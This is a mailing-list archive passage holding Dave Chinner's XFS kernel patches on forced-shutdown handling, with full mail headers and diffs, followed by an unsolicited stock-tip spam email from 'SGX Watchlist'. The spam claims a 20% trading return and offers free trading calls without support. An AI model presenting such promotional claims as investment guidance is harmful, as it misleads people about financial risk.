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 UUjDYSEiY5lbgeRv/SLB9fOJ+v/+QMQ9ewBABwA= ------=_NextPart_000_1728_01CEA89F.3F45AB80-- From dave@fromorbit.com Tue Sep 3 06:47:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 799CE7F4E for ; Tue, 3 Sep 2013 06:47:51 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 68EF48F804B for ; Tue, 3 Sep 2013 04:47:51 -0700 (PDT) X-ASG-Debug-ID: 1378208867-04cb6c2e9dd121d0002-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 9oIqu4ziiF8Inl7W for ; Tue, 03 Sep 2013 04:47:49 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwHAIfLJVJ5LJ62/2dsb2JhbABagweuB5UdF3SCJAEBBScvMwgYMTkDGxmIAblCkBOEBwOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 03 Sep 2013 21:17:46 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGp5B-0003Va-27 for xfs@oss.sgi.com; Tue, 03 Sep 2013 21:47:41 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGp5B-0005MV-1R for xfs@oss.sgi.com; Tue, 03 Sep 2013 21:47:41 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/2] xfs: don't assert fail on bad inode numbers Date: Tue, 3 Sep 2013 21:47:38 +1000 X-ASG-Orig-Subj: [PATCH 2/2] xfs: don't assert fail on bad inode numbers Message-Id: <1378208858-20557-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378208858-20557-1-git-send-email-david@fromorbit.com> References: <1378208858-20557-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378208869 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140214 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Let the inode verifier do it's work by returning an error when we fail to find correct magic numbers in an inode buffer. Signed-off-by: Dave Chinner --- fs/xfs/xfs_inode_buf.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c index 3d25c9a..63382d3 100644 --- a/fs/xfs/xfs_inode_buf.c +++ b/fs/xfs/xfs_inode_buf.c @@ -53,9 +53,8 @@ xfs_inobp_check( i * mp->m_sb.sb_inodesize); if (!dip->di_next_unlinked) { xfs_alert(mp, - "Detected bogus zero next_unlinked field in incore inode buffer 0x%p.", - bp); - ASSERT(dip->di_next_unlinked); + "Detected bogus zero next_unlinked field in inode %d buffer 0x%llx.", + i, (long long)bp->b_bn); } } } @@ -106,11 +105,10 @@ xfs_inode_buf_verify( XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, mp, dip); #ifdef DEBUG - xfs_emerg(mp, + xfs_alert(mp, "bad inode magic/vsn daddr %lld #%d (magic=%x)", (unsigned long long)bp->b_bn, i, be16_to_cpu(dip->di_magic)); - ASSERT(0); #endif } } -- 1.8.3.2 From dave@fromorbit.com Tue Sep 3 06:47:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 22A7A7F4E for ; Tue, 3 Sep 2013 06:47:52 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B5592AC001 for ; Tue, 3 Sep 2013 04:47:51 -0700 (PDT) X-ASG-Debug-ID: 1378208870-04bdf02f23d355e0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id uh5FkGFVWUT2GYRA for ; Tue, 03 Sep 2013 04:47:50 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsHAIfLJVJ5LJ62/2dsb2JhbABagweuB5UdF3SDATuBAgOINZg1oQ2QE4QHA6lbgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 03 Sep 2013 21:17:46 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGp5B-0003VY-0y for xfs@oss.sgi.com; Tue, 03 Sep 2013 21:47:41 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGp5B-0005MN-03 for xfs@oss.sgi.com; Tue, 03 Sep 2013 21:47:41 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/2] xfs: more shutdown-related fixes Date: Tue, 3 Sep 2013 21:47:36 +1000 X-ASG-Orig-Subj: [PATCH 0/2] xfs: more shutdown-related fixes Message-Id: <1378208858-20557-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378208870 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140211 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, More fixes as a result of forced shutdown testing. The first is fixing yet another hole in the buf log item freein logic when a transaction is aborted, and the other removes the asserts from the inode buffer checking so that verifiers return errors rather than crashing the system. Cheers, Dave. From dave@fromorbit.com Tue Sep 3 06:47:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4D8C029DFC for ; Tue, 3 Sep 2013 06:47:53 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3D6678F804B for ; Tue, 3 Sep 2013 04:47:50 -0700 (PDT) X-ASG-Debug-ID: 1378208867-04cb6c2e9dd121d0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id rwM0uD49TT2VcFp9 for ; Tue, 03 Sep 2013 04:47:48 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoQHAIfLJVJ5LJ62/2dsb2JhbABagweuB5JlgjgXdIIkAQEFJy8zCBgxOQMbGYgBuUKQE4QHA6lbgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 03 Sep 2013 21:17:46 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGp5B-0003VZ-1Z for xfs@oss.sgi.com; Tue, 03 Sep 2013 21:47:41 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGp5B-0005MQ-0s for xfs@oss.sgi.com; Tue, 03 Sep 2013 21:47:41 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/2] xfs: aborted buf items can be in the AIL. Date: Tue, 3 Sep 2013 21:47:37 +1000 X-ASG-Orig-Subj: [PATCH 1/2] xfs: aborted buf items can be in the AIL. Message-Id: <1378208858-20557-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378208858-20557-1-git-send-email-david@fromorbit.com> References: <1378208858-20557-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378208867 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140214 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Saw this on generic/270 after a DQALLOC transaction overrun shutdown: XFS: Assertion failed: !(bip->bli_item.li_flags & XFS_LI_IN_AIL), file: fs/xfs/xfs_buf_item.c, line: 952 ..... xfs_buf_item_relse+0x4f/0xd0 xfs_buf_item_unlock+0x1b4/0x1e0 xfs_trans_free_items+0x7d/0xb0 xfs_trans_cancel+0x13c/0x1b0 xfs_symlink+0x37e/0xa60 .... When a transaction abort occured. If we are aborting a transaction and trigger this code path, then the item may be dirty. If the item is dirty, then it may be in the AIL. Hence if we are aborting, we need to check if the item is in the AIL and remove it before freeing it. Signed-off-by: Dave Chinner --- fs/xfs/xfs_buf_item.c | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index 3a944b1..88c5ea7 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -613,13 +613,27 @@ xfs_buf_item_unlock( } } } - if (clean || aborted) { - if (atomic_dec_and_test(&bip->bli_refcount)) { - ASSERT(!aborted || XFS_FORCED_SHUTDOWN(lip->li_mountp)); + + /* + * Clean buffers, by definition, cannot be in the AIL. However, aborted + * buffers may be dirty and hence in the AIL. Therefore if we are + * aborting a buffer and we've just taken the last refernce away, we + * have to check if it is in the AIL before freeing it. We need to free + * it in this case, because an aborted transaction has already shut the + * filesystem down and this is the last chance we will have to do so. + */ + if (atomic_dec_and_test(&bip->bli_refcount)) { + if (clean) + xfs_buf_item_relse(bp); + else if (aborted) { + ASSERT(XFS_FORCED_SHUTDOWN(lip->li_mountp)); + if (lip->li_flags & XFS_LI_IN_AIL) { + xfs_trans_ail_delete(lip->li_ailp, lip, + SHUTDOWN_LOG_IO_ERROR); + } xfs_buf_item_relse(bp); } - } else - atomic_dec(&bip->bli_refcount); + } if (!(flags & XFS_BLI_HOLD)) xfs_buf_relse(bp); -- 1.8.3.2 From contact@sgx-watchlist.com Tue Sep 3 07:31:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=3.0 required=5.0 tests=DEAR_SOMETHING, ENGLISH_UCE_SUBJECT,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 69F247F4E for ; Tue, 3 Sep 2013 07:31:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1F0A630407B for ; Tue, 3 Sep 2013 05:31:23 -0700 (PDT) X-ASG-Debug-ID: 1378211474-04bdf02f23d36d30001-NocioJ Received: from vps.illumsg.com (vps.illumsg.com [119.31.234.249]) by cuda.sgi.com with ESMTP id 7Yjo1eHn1L8LtIZP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Sep 2013 05:31:17 -0700 (PDT) X-Barracuda-Envelope-From: contact@sgx-watchlist.com X-Barracuda-Apparent-Source-IP: 119.31.234.249 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=sgx-watchlist.com; s=default; h=Content-Type:MIME-Version:Message-ID:Date:Subject:In-Reply-To:References:To:From; bh=pAFPicuQai9FDnqAEJHOu0+3w21SHZ5YlUYyIak8LGs=; b=moaHvIFcCFuI9R1x0TkZFrG+TGYE3EXlBbtMBjEryYIWQGObVU26t23BgPxhoH7BE0Al3qeW794Eb/OjtQX+7aqMOaAMqXt7HoYdcDbfjcmj83ybHxOojZ0DzZ1+KmcRK3VDwzhsBHbacTTqw3UQI4oD9jDl7UKh5nfmLITGXS4=; Received: from [182.19.197.162] (port=51177 helo=SGGBBDF2FL) by vps.illumsg.com with esmtp (Exim 4.80.1) (envelope-from ) id 1VGpZI-00047b-Ps; Tue, 03 Sep 2013 20:18:48 +0800 From: "Sgx Watcher" To: "Sgx Watcher" References: In-Reply-To: Subject: 20% profit from SGX last week! SGX Stocks Recommendation - Free daily research reports, trading calls Date: Tue, 3 Sep 2013 20:19:22 +0800 X-ASG-Orig-Subj: 20% profit from SGX last week! SGX Stocks Recommendation - Free daily research reports, trading calls Message-ID: <008f01cea89f$d5c35da0$814a18e0$@sgx-watchlist.com> MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_0090_01CEA8E2.E3EB3180" X-Mailer: Microsoft Outlook 15.0 Content-Language: en-sg Thread-Index: Ac6llJdW21mWWOtxQgqNlmBHRiCCGgAXMNowABy+tqAAGlN0UAANBaGgAAnppYAALGPIwAAEXLEwACzX1SA= X-ACL-Warn: { X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - vps.illumsg.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - sgx-watchlist.com X-Get-Message-Sender-Via: vps.illumsg.com: acl_c_relayhosts_text_entry: contact@sgx-watchlist.com|sgx-watchlist.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: vps.illumsg.com[119.31.234.249] X-Barracuda-Start-Time: 1378211476 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.62 X-Barracuda-Spam-Status: No, SCORE=0.62 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, HTML_MESSAGE, MARKETING_SUBJECT, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140216 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain This is a multipart message in MIME format. ------=_NextPart_000_0090_01CEA8E2.E3EB3180 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0091_01CEA8E2.E3EB3180" ------=_NextPart_001_0091_01CEA8E2.E3EB3180 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Dear Sir/Madam, Date: 03/09/2013 The STI has dropped 80 points from Monday to Thursday the last week (26-29 August 2013). QE tapering, possible attack of Syria, increase in interest rate are adversely affecting the stock market. Many have seen their investments returns dwindle, and losses pile up. Are you one of them? Even when the market is in a bad state, SGX Watchlist has managed to achieve 20% return on investment, through Albedo, OKH global, and SIA in the same period STI performed so badly. We publish our calls at http://www.sgx-watchlist.com for all to see. No gimmick. Are you interested to learn how? Do you want to receive emails that will help you achieve profits from trading, which are COMPLETELY FREE OF CHARGE? Sign up for our mailing list today! Simple reply to this email and we will add you into our contact list. Absolutely free of charge. In addition, you will be receiving daily research reports by top investment banks and brokerage firms, allowing you to keep abreast of market movements each day. We also provide free market depth, support resistance analysis, totally free. We are eager to share with you our knowledge. Hope to hear from you. Best Regards SGX Watcher Contact number: +65 8355 0181 Website: Http://www.sgx-watchlist.com Email: +65 8355 0181 To Unsubscribe, kindly email (UNSUB) to contact@sgx-watchlist.com , Thank you very much. ------=_NextPart_001_0091_01CEA8E2.E3EB3180 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Dear Sir/Madam, =             &= nbsp;           &n= bsp;           &nb= sp;           &nbs= p;            = ;            =             &= nbsp;           &n= bsp;           &nb= sp;           &nbs= p;            = ;            =             &= nbsp;           &n= bsp;           &nb= sp;           &nbs= p;   Date: 03/09/2013

 

3D"cid:image001.png@01CEA5BA.D852FAE0"

 

The STI has = dropped 80 = points from Monday to Thursday the last week (26-29 = August 2013). QE tapering, possible attack of Syria,
increase in = interest rate are adversely affecting the stock market. Many have seen = their investments returns dwindle, and losses pile up.
Are you one of = them?

 

Even when the market is in a bad state, SGX Watchlist = has managed to achieve 20% return on = investment, through = Albedo, OKH global, and SIA in the = same period STI performed so badly. We publish our calls at http://www.sgx-watchlist.com = for all to see. No gimmick.

 

Are you = interested to learn how? Do you want to receive emails that will help = you achieve profits from trading, which are
COMPLETELY FREE OF CHARGE? = Sign up for our mailing list today! Simple reply to this email = and we will add you into our contact list.
Absolutely free of = charge.

 

In addition, you will be receiving daily research = reports by top investment banks and brokerage firms, allowing you to = keep abreast of
market movements each day. We also provide free = market depth, support resistance analysis, totally free. =

 

We are eager to share with you our knowledge. Hope to = hear from you.

 

Best = Regards
SGX = Watcher

Contact number: +65 = 8355 0181

Website: Http://www.sgx-watchlist.com

Email: +65 8355 0181

 

 

To Unsubscribe, kindly = email (UNSUB) to contact@sgx-watchlist.com , Thank you very = much.

 

 


        &nb= sp;           &nbs= p;            = ;            =             &= nbsp;           &n= bsp;           &nb= sp;           &nbs= p;            = ;            =             &= nbsp;           &n= bsp;           &nb= sp;           &nbs= p;            = ;            =             &= nbsp;           &n= bsp;

 

         &= nbsp;           &n= bsp;           &nb= sp;           &nbs= p;            = ;            =             &= nbsp;           &n= bsp;         

=
------=_NextPart_001_0091_01CEA8E2.E3EB3180-- ------=_NextPart_000_0090_01CEA8E2.E3EB3180 Content-Type: image/png; name="image001.png" Content-Transfer-Encoding: base64 Content-ID: iVBORw0KGgoAAAANSUhEUgAAAPUAAACFCAIAAAAM8SnzAAAAAXNSR0IArs4c6QAAAARnQU1BAACx jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAHMfSURBVHhe7Z0FYBTH/sdDWyiWEEfrLmiU4JaE ONBSfX01Wqq4JUDc3Q0vUtwlQIy4u7u7J+d3+//O7uUIyQV77XuP98+vvx6zs7MzszOf+c1vZvcu MpSwihLkUYJUShBP8e9R/GhKMKIj+mwq6AXDIJnwnAe2ZShBFiWIofi3KP4Vin+R4p0f0RF9hhUM E5JvEaoFWTIUP4biXaV4ZyjucYp3jOIeJcob0RF91lSMLhgGyWcI1fwY8H2L4p2mzx2kuAcobuiI juizrGAYJAP002AbfF8hvJMonAuhuMEjOqLPsoJhkAyej4Nt8A2fGyYd1IdQvTFUd+qIjugzrGCY IH6AUM2/KENccuKcAPlgcvqBoTCiI/of0SCKEwgVcYIEUG4wnxMkQiQb8YNS3lcBK1iEs2AYn+xQ in1ExD1H8018c6l8Yxww1n5ER/TfqSEgVcQKFPYGCvuChewQPidYyAmBijiDU9I6AFoxw6H0ovP8 Q/hGDJyWQxT3MMU9Il6ijuiI/huUe1TIPsJlHeKzDgk4h0TsQ/zeUC6Uc0h4P80RmkzwyWyK9HP7 eHzj8CAdf4KsQ3lnKX7//uKIjujfrdzzVN95Ie98V++JzubgtiKnjMsb8u9uYdfBVJ8jCQiNZ+l9 P/AJSpndkcflG7nAPcfpPyneZYofRvHDKX4U0UGPi0Z0RJ9KhYIoqEgQDRVCB6CFeHZvWGfdueqc wKg/N4btW3HKdEbIggkhn7/VkO5N0jAoEibDCJ+EUgBMb5A8Ht8Iw+xjZADuSEqQQglyKGE+JSgY 0RF9UhVAeflCbj7FLWBUxM/nCnK5/Fwer4AvKOAJCsghN7uvM7mlMqwg6djNI7sPf7/okM50h7dk XN978dBs5fNvTUj23dTdFiPOltCYQ8gEn6AUrBJiH2T4oXwfprfHw0gWwhJKWEeJmihRy4iO6JMq X9TM5TfyeU1CTqOA0yjitAh5LSIBfUrYzGJX9bQX11cnpYQfO++w2c90kcub0+yUxttMnRA6XenC K9Pc31Hxm678h4Z6c+ZdrqhOIGqms20iTIJMgjisOBwV+OJPwDcWlPC5wylhDiUC3J2UqI+i2JRo REf0yVTI7RbyekQiFk/YxxH28UVsNp/d3dPR0VJbW5AYd+7wuZ2/eaip2SopOL04zmP8BA9lOW/F 